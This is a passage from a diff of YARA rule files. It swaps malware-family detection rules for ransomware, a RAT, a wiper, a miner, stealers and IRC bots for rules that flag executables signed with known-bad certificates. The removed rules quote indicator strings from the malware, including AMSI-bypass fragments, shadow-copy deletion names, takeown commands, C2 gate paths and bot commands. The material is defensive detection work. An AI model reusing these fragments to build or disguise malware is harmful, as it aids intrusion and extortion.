-		logic_hash = "58fbd27758ecd435eb30b7c34f4cf142db8e31edee0838175992923a51706508"
+		logic_hash = "eabfeb7abc968188276ba76cd94bd80aba340f5f920881fe13c0f7b093d65a55"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "[Ref].Assembly.GetType(" ascii wide
-		$x2 = ".SetValue($null,$true)" ascii wide
-		$s1 = "replace" ascii wide
-		$s2 = "=@(" ascii wide
-		$s3 = "[System.Text.Encoding]::" ascii wide
-		$s4 = ".substring" ascii wide
-		$s5 = "FromBase64String" ascii wide
-		$d1 = "New-Object" ascii wide
-		$d2 = "Microsoft.XMLHTTP" ascii wide
-		$d3 = ".open(" ascii wide
-		$d4 = ".send(" ascii wide
+		thumbprint = "e87d3e289ccb9f8f9caa53f2aefba102fbf4b231"
+		hash1 = "8282e30e3013280878598418b2b274cadc5e00febaa2b93cf25bb438ee6eb032"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of ($x*) and (3 of ($s*) or all of ($d*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALUSEN d. o. o." and pe.signatures[i].serial=="1e:f6:39:2b:29:93:a6:f6:75:78:29:96:59:46:7e:a8")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_MB150 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0F007898Afcba5F8Af8Ae65D01803617 : FILE
 {
 	meta:
-		description = "Detects MB150? Go ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9688974b-ccf9-59ea-bb31-e46c63f021bf"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1c3fddc2-3348-5f94-bf3e-5ce95b6ef009"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7376-L7402"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7515-L7527"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a07535fc53912ddde6a0bed187c21ecdb2701d317d7de0cbdd2db37071bc9a21"
+		logic_hash = "260dbdd3d295ace9c478cc27061065803c159957a1eb2f7965ee2b358f02a73c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = /main\.evade_(clicks_count|cpu_count|disk_size|foreground_window|hostname|mac|printer|screen_size|system_memory|time_acceleration|tmp|utc)/ fullword ascii
-		$x2 = /main\.sandbox_(hostname|mac_addresses)/ fullword ascii
-		$x3 = "main.drop_ransom_note" fullword ascii
-		$x4 = "main.ransom_amount" fullword ascii
-		$x5 = "main.create_encryption_key" fullword ascii
-		$x6 = "main.encrypt" fullword ascii
-		$x7 = "main.encrypt_encryption_key" fullword ascii
-		$x8 = "main.encrypt_file" fullword ascii
-		$x9 = "main.ext_blacklist" fullword ascii
-		$mac1 = "00:03:FF00:05:6900:0C:2900:16:3E00:1C:1400:1C:4200:50:56" ascii nocase
-		$mac2 = "00-03-FF00-05-6900-0C-2900-16-3E00-1C-1400-1C-4200-50-56" ascii nocase
-		$mac3 = "0003FF000569000C2900163E001C14001C42005056" ascii nocase
-		$go = "Go build ID:" ascii
-		$s1 = "main.MB150" ascii
-		$s2 = "http://1.1.1.1" ascii
-		$s3 = "your personnal ID" ascii
-		$s4 = "ransom amount" ascii
-		$s5 = "binance.com" ascii
-		$s6 = "getmonero.org" ascii
+		thumbprint = "5687481a453414e63e76e1135ed53f4bd0410b05"
+		hash1 = "815f1f87e2df79e3078c63b3cb1ffb7d17fd24f6c7092b8bbe1f5f8ceda5df22"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($x*) or ($go and 4 of ($s*)) or (1 of ($mac*) and (2 of ($x*) or 3 of ($s*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TechnoElek s.r.o." and pe.signatures[i].serial=="0f:00:78:98:af:cb:a5:f8:af:8a:e6:5d:01:80:36:17")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Chaos : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Aa1D84779792B57F91Fe7A4Bde041942 : FILE
 {
 	meta:
-		description = "Detects Chaos ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "59d43cfb-72d8-5c17-87bf-f1f364d23bed"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "57b4741a-a23d-51aa-ad83-3a7d80368290"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7404-L7433"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7529-L7543"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6203ab09745db817b9e909d70cf1d5be9769c414461ee5f7bb344b6959986537"
+		logic_hash = "2e57d646910c570f421939fd0d47ddee60bc38bb2ca2ba1991bf334cf8d5574b"
 		score = 75
-		quality = 44
+		quality = 75
 		tags = "FILE"
+		thumbprint = "6c15651791ea8d91909a557eadabe3581b4d1be9"
+		importance = 20
 
-	strings:
-		$s1 = "<EncyptedKey>" fullword wide
-		$s2 = "<EncryptedKey>" fullword wide
-		$s3 = "C:\\Users\\" fullword wide
-		$s4 = "read_it.txt" fullword wide
-		$s5 = "#base64Image" fullword wide
-		$s6 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" fullword wide
-		$s7 = /check(Spread|Sleep|AdminPrivilage|deleteShadowCopies|disableRecoveryMode|deleteBackupCatalog)/ fullword ascii nocase
-		$s8 = /(delete|disable)(ShadowCopies|RecoveryMode|BackupCatalog)/ fullword ascii nocase
-		$s9 = "spreadName" fullword ascii
-		$s10 = "processName" fullword ascii
-		$s11 = "sleepOutOfTempFolder" fullword ascii
-		$s12 = "AlreadyRunning" fullword ascii
-		$s13 = "random_bytes" fullword ascii
-		$s14 = "encryptDirectory" fullword ascii nocase
-		$s15 = "EncryptFile" fullword ascii nocase
-		$s16 = "intpreclp" fullword ascii
-		$s17 = "bytesToBeEncrypted" fullword ascii
-		$s18 = "textToEncrypt" fullword ascii
-		$m1 = "Chaos is" wide
-		$m2 = "Payment informationAmount:" wide
-		$m3 = "Coinmama - hxxps://www.coinmama.com Bitpanda - hxxps://www.bitpanda.com" wide
-		$m4 = "where do I get Bitcoin" wide
+	condition:
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AXIUM NORTHWESTERN HYDRO INC." and (pe.signatures[i].serial=="aa:1d:84:77:97:92:b5:7f:91:fe:7a:4b:de:04:19:42" or pe.signatures[i].serial=="00:aa:1d:84:77:97:92:b5:7f:91:fe:7a:4b:de:04:19:42"))
+}
+import "pe"
+
+rule DITEKSHEN_INDICATOR_KB_CERT_0690Ee21E99B1Cb3B599Bba7B9262Cdc : FILE
+{
+	meta:
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "0fa2103e-c04e-5380-b4e3-6ac35f0b71d8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7545-L7556"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "bc2aac1bd21f80d4233af37028820a36ebd56bceed9b1318e99e75b28b9408e3"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		thumbprint = "ff9a35ef5865024e49096672ab941b5c120657b9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of ($s*) or all of ($m*) or (2 of ($m*) and 4 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Xiamen Tongbu Networks Ltd." and pe.signatures[i].serial=="06:90:ee:21:e9:9b:1c:b3:b5:99:bb:a7:b9:26:2c:dc")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Horuseyesrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_425Dc3E0Ca8Bcdce19D00D87E3F0Ba28 : FILE
 {
 	meta:
-		description = "Detects HorusEyesRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "80b2fd11-f8b4-5aee-b55a-4f7ee9fad6cf"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "41423db4-c475-558b-9a27-2b0ea59102ad"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7435-L7451"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7558-L7569"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c0f499e3a17923b391ed6b7fa723525a9d4aef0ce04a2c7abec60d5eda15888f"
+		logic_hash = "0fc85d3d01b37ff7870cade6f8e0e756593ff0b5c9eea3b687ff52985caa20dd"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "\\HorusEyesRat-" ascii
-		$x2 = "\\HorusEyesRat.pdb" ascii
-		$x3 = "get_horus_eye" ascii
-		$s1 = "get_Type_Packet" fullword ascii
-		$s2 = "PacketLib" fullword ascii nocase
-		$s3 = "System.Net.Sockets" fullword ascii
-		$s4 = "PROCESS_MODE_BACKGROUND_BEGIN" fullword ascii
-		$s5 = "EXECUTION_STATE" fullword ascii
-		$s6 = /Plugins\\[A-Z]{2}.dll/ fullword wide
+		thumbprint = "c58bc4370fa01d9a7772fa8c0e7c4c6c99b90561"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and 3 of ($s*)) or (4 of ($s*) and #s6>4))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Protover LLC" and pe.signatures[i].serial=="42:5d:c3:e0:ca:8b:cd:ce:19:d0:0d:87:e3:f0:ba:28")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Breakwin : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00881573Fc67Ff7395Dde5Bccfbce5B088 : FILE
 {
 	meta:
-		description = "Detects BreakWin Wiper"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4ffadbfa-c1cc-59e6-a9ba-7a34eca6c3fe"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "10ef1865-9267-5f06-a1d5-9196b00f3dc6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7453-L7471"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7571-L7585"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "86fc89e28fc107c2d4fe98dc16048d9e076b1fef53a3df0814f80a88bbe09c48"
+		logic_hash = "5b137cccecb16ad116b73fa1f9025f76846b85009fbd4962956499031d6eff35"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Started wiping file %s with %s." fullword wide
-		$s2 = "C:\\Program Files\\Lock My PC" wide
-		$s3 = "Stardust is still alive." fullword wide
-		$s4 = "Failed to terminate the locker process." fullword wide
-		$s5 = "C:\\Windows\\System32\\cmd.exe" fullword wide
-		$s6 = "Process created successfully. Executed command: %s." fullword wide
-		$s7 = "locker_background_image_path" fullword ascii
-		$s8 = "takeown.exe /F \"C:\\Windows\\Web\\Screen\" /R /A /D Y" fullword ascii
-		$s9 = "icacls.exe \"C:\\Windows\\Web\\Screen\" /reset /T" fullword ascii
-		$s10 = "takeown.exe /F \"C:\\ProgramData\\Microsoft\\Windows\\SystemData\" /R /A /D Y" fullword ascii
-		$s11 = ".?AVProcessSnapshotCreationFailedException@@" fullword ascii
+		thumbprint = "31b3a3c173c2a2d1086794bfc8d853e25e62fb46"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Trade in Brasil s.r.o." and (pe.signatures[i].serial=="88:15:73:fc:67:ff:73:95:dd:e5:bc:cf:bc:e5:b0:88" or pe.signatures[i].serial=="00:88:15:73:fc:67:ff:73:95:dd:e5:bc:cf:bc:e5:b0:88"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Coinminer03 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_15C5Af15Afecf1C900Cbab0Ca9165629 : FILE
 {
 	meta:
-		description = "Detects coinmining malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e0e57557-7c46-5336-b904-c4c1f142bd81"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "795fa78b-0cd4-5eb4-9d37-72b5c38e7466"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7506-L7528"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7587-L7599"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f22e1af955a0d132dda820fe5e5e1ae2f077b7264ce1f0125a2f37c0da6b6508"
+		logic_hash = "cfc72a85954cb12d89a09b47b5937216a7cfee4a71ac6335a2a94faadea1f68c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "UnVzc2lhbiBTdGFuZGFyZCBUaW1l" wide
-		$s2 = "/xmrig" wide
-		$s3 = "/gminer" wide
-		$s4 = "-o {0} -u {1} -p {2} -k --cpu-priority 0 --threads={3}" wide
-		$s5 = "--algo ethash --server" wide
-		$s6 = "--algo kawpow --server" wide
-		$cnc1 = "/delonl.php?hwid=" fullword wide
-		$cnc2 = "/gateonl.php?hwid=" fullword wide
-		$cnc3 = "&cpuname=" fullword wide
-		$cnc4 = "&gpuname=" fullword wide
-		$cnc5 = "{0}/gate.php?hwid={1}&os={2}&cpu={3}&gpu={4}&dateinstall={5}&gpumem={6}" fullword wide
-		$cnc6 = "/del.php?hwid=" fullword wide
-		$f1 = "<StartGpuethGminer>b__" ascii
-		$f2 = "<StartGpuetcGminer>b__" ascii
-		$f3 = "<StartGpurvnGminer>b__" ascii
+		thumbprint = "69735ec138c555d9a0d410c450d8bcc7c222e104"
+		hash1 = "2ae575f006fc418c72a55ec5fdc26bc821aa3929114ee979b7065bf5072c488f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($cnc*) or (2 of ($f*) and (1 of ($s*) or 1 of ($f*))) or all of ($f*) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kompaniya Auttek" and pe.signatures[i].serial=="15:c5:af:15:af:ec:f1:c9:00:cb:ab:0c:a9:16:56:29")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Zeppelin : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_12705Fb66Bc22C68372A1C4E5Fa662E2 : FILE
 {
 	meta:
-		description = "Detects Zeppelin (Delphi) ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "368d0c31-745d-50ad-a265-50561fdc822a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c9604f76-ad8a-5ac0-ba12-5030b12bedbf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7530-L7545"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7601-L7613"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f6c8420756b562662985dd26eaad58500a24cae786a47b788c953e86276116a1"
+		logic_hash = "a212e491ce661dec5512f82eed42b1863afb75ce7fb185c41af178f3852b78c8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "TUnlockAndEncrypt" ascii
-		$s2 = "TExcludeFiles" ascii
-		$s3 = "TExcludeFolders" ascii
-		$s4 = "TDrivesAndShares" ascii
-		$s5 = "TTaskKiller" ascii
-		$x1 = "!!! D !!!" ascii
-		$x2 = "!!! LOCALPUBKEY !!!" ascii
-		$x3 = "!!! ENCLOCALPRIVKEY !!!" ascii
+		thumbprint = "288959bd1e8dd12f773e9601dc21c57678769909"
+		hash1 = "151b1495d6d1c68e32cdba36d6d3e1d40c8c0d3c12e9e5bd566f1ee742b81b4e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or all of ($x*) or (2 of ($x*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APRIL BROTHERS LTD" and pe.signatures[i].serial=="12:70:5f:b6:6b:c2:2c:68:37:2a:1c:4e:5f:a6:62:e2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Slackbot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_205483936F360924E8D2A4Eb6D3A9F31 : FILE
 {
 	meta:
-		description = "Detects SlackBot"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cd540aa2-dc8f-5ccc-b66c-a8d72b73c896"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5cce232b-4dfc-5931-a4ea-2e3df5616026"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7547-L7588"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7615-L7627"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "919839883c437b69cf7f380830f2499be24415f96f1e42424e4859114f958581"
+		logic_hash = "09bf63b88eda95aae094cecb868838f08b88a6b4fe2993145e20293034c12863"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "lp0o4bot v" ascii
-		$x2 = "slackbot " ascii
-		$s1 = "cpu: %lumhz %s, uptime: %u+%.2u:%.2u, os: %s" fullword ascii
-		$s2 = "%s, running for %u+%.2u:%.2u" fullword ascii
-		$s3 = "PONG :%s" fullword ascii
-		$s4 = "PRIVMSG %s :%s" fullword ascii
-		$s5 = "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)" fullword ascii
-		$m1 = "saving %s to %s" ascii
-		$m2 = "visit number %u failed" ascii
-		$m3 = "sending %s packets of %s bytes to %s with a delay of %s" ascii
-		$m4 = "file executed" ascii
-		$m5 = "packets sent" ascii
-		$m6 = "upgrading to %s" ascii
-		$m7 = "rebooting..." ascii
-		$c1 = "!@remove" fullword ascii
-		$c2 = "!@restart" fullword ascii
-		$c3 = "!@reboot" fullword ascii
-		$c4 = "!@rndnick" fullword ascii
-		$c5 = "!@exit" fullword ascii
-		$c6 = "!@sysinfo" fullword ascii
-		$c7 = "!@upgrade" fullword ascii
-		$c8 = "!@login" fullword ascii
-		$c9 = "!@run" fullword ascii
-		$c10 = "!@webdl" fullword ascii
-		$c11 = "!@cycle" fullword ascii
-		$c12 = "!@clone" fullword ascii
-		$c13 = "!@visit" fullword ascii
-		$c14 = "!@udp" fullword ascii
-		$c15 = "!@nick" fullword ascii
-		$c16 = "!@say" fullword ascii
-		$c17 = "!@quit" fullword ascii
-		$c18 = "!@part" fullword ascii
-		$c19 = "!@join" fullword ascii
-		$c20 = "!@raw" fullword ascii
+		thumbprint = "430dbeff2f6df708b03354d5d07e78400cfed8e9"
+		hash1 = "e58b9bbb7bcdf3e901453b7b9c9e514fed1e53565e3280353dccc77cde26a98e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or all of ($s*) or all of ($m*) or (10 of ($c*) and (1 of ($x*) or 3 of ($s*) or 2 of ($m*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SATURN CONSULTANCY LTD" and pe.signatures[i].serial=="20:54:83:93:6f:36:09:24:e8:d2:a4:eb:6d:3a:9f:31")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Sweetystealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_06Bcb74291D96096577Bdb1E165Dce85 : FILE
 {
 	meta:
-		description = "Detects SweetyStealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "21dd1706-2cb5-5b27-ad3a-c3de8e6fb333"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e7c24edc-2e59-5ee1-ad2f-d260b4014fdd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7590-L7608"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7629-L7641"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ecf22240b47af077055260faba0406721f1b4cc5ed04180285df0de86c4e1241"
+		logic_hash = "34f533f7c7e12aaac9a1998654fae6ffde366affa90e9cba061b356fa7190e71"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "SWEETY STEALER" wide
-		$s2 = "\\SWEETYLOG.zip" fullword wide
-		$s3 = "\\SWEETY STEALER\\SWEETY\\" ascii
-		$s4 = "\\Sweety" fullword wide
-		$s5 = "SWEETYSTEALER." ascii
-		$s6 = "in Virtual Environment, so we prevented stealing" wide
-		$s7 = ":purple_square:" wide
-		$f1 = "<GetDomainDetect>b__" ascii
-		$f2 = "<GetAllProfiles>b__" ascii
-		$f3 = "<ProcessExtraFieldZip64>b__" ascii
-		$f4 = "<PostExtractCommandLine>k__" ascii
+		thumbprint = "d1bde6303266977f7540221543d3f2625da24ac4"
+		hash1 = "074cef597dc028b08dc2fe927ea60f09cfd5e19f928f2e4071860b9a159b365d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of ($s*) or (3 of ($f*) and 1 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Revo Security SRL" and pe.signatures[i].serial=="06:bc:b7:42:91:d9:60:96:57:7b:db:1e:16:5d:ce:85")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Genircbot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0D261C8470Adbb65800Ceaf3Eac70819 : FILE
 {
 	meta:
-		description = "Detects generic IRCBots"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "e1faa1dd-bbf5-5208-97d6-a6e8597d39bc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0304b3ae-6a3c-5831-a749-76432b3356b4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7610-L7626"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7643-L7655"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cc7f4599148c45fdf755c07530ae4846b7e283b5c1001c121f9ea05279997dc1"
+		logic_hash = "e71f5d24500ac202aad5a439aa0d5f1bf7e6259c1d7e11bb40c7b9ae93bd86c0"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "@login" ascii nocase
-		$s2 = "PRIVMSG" fullword ascii
-		$s3 = "JOIN" fullword ascii
-		$s4 = "PING :" fullword ascii
-		$s5 = "NICK" fullword ascii
-		$s6 = "USER" fullword ascii
-		$x1 = "irc.danger.net" fullword ascii nocase
-		$x2 = "evilBot" fullword ascii nocase
-		$x3 = "#evilChannel" fullword ascii nocase
+		thumbprint = "307ef8a02a0fc9032591c624624fa3531c235aa1"
+		hash1 = "050dbd816c222d3c012ba9f2b1308db8e160e7d891f231272f1eacf19d0a0a06"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or 2 of ($x*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bandicam Company Corp." and pe.signatures[i].serial=="0d:26:1c:84:70:ad:bb:65:80:0c:ea:f3:ea:c7:08:19")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nitro : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_40E27B7404Aa9B485F8A2Fc0C8E53Af3 : FILE
 {
 	meta:
-		description = "Detects Nitro Ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3edb62e0-0544-5291-a949-a45fdf881c7e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1aee45e6-ff0b-56a6-a50e-284bf2122e3b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7628-L7652"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7657-L7668"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "03da21ece2de530a9c2ba08a9e44c9a92bc9ca0a6d4ac9507899d1f3dcd03e37"
+		logic_hash = "95a0bcf9b52ba8f4b63453abf0ee28027689450557a2408c6b27f8aafcbbe945"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = ".givemenitro" wide
-		$x2 = "Nitro Ransomware" ascii wide
-		$x3 = "\\NitroRansomware.pdb" ascii
-		$x4 = "NitroRansomware" ascii wide nocase
-		$s1 = "Valid nitro code was received" wide
-		$s2 = "discord nitro" ascii wide nocase
-		$s3 = "Starting file encryption" wide
-		$s4 = "NR_decrypt.txt" wide
-		$s5 = "open it unless you have the decryption key." ascii
-		$s6 = "<EncryptAll>b__" ascii
-		$s7 = "<DecryptAll>b__" ascii
-		$s8 = "DECRYPT_PASSWORD" fullword ascii
-		$s9 = "IsEncrypted" fullword ascii
-		$s10 = "CmdProcess_OutputDataReceived" fullword ascii
-		$s11 = "encryptedFileLog" fullword ascii
-		$s12 = "Encrypting:" fullword wide
-		$s13 = "decryption key. If you do so, your files may get corrupted" ascii
+		thumbprint = "ca468ff8403a8416042705e79dbc499a5ea9be85"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or (3 of ($s*) and 1 of ($x*)) or (7 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Southern Wall Systems, LLC" and pe.signatures[i].serial=="40:e2:7b:74:04:aa:9b:48:5f:8a:2f:c0:c8:e5:3a:f3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nanocore : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_627Dfdf73A1455De5143A270799E6B7B : FILE
 {
 	meta:
-		description = "Detects NanoCore"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "931b98f6-df2b-538b-bc49-ecbbd24334da"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "7d5f0279-9498-5713-9c02-a025268d108f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
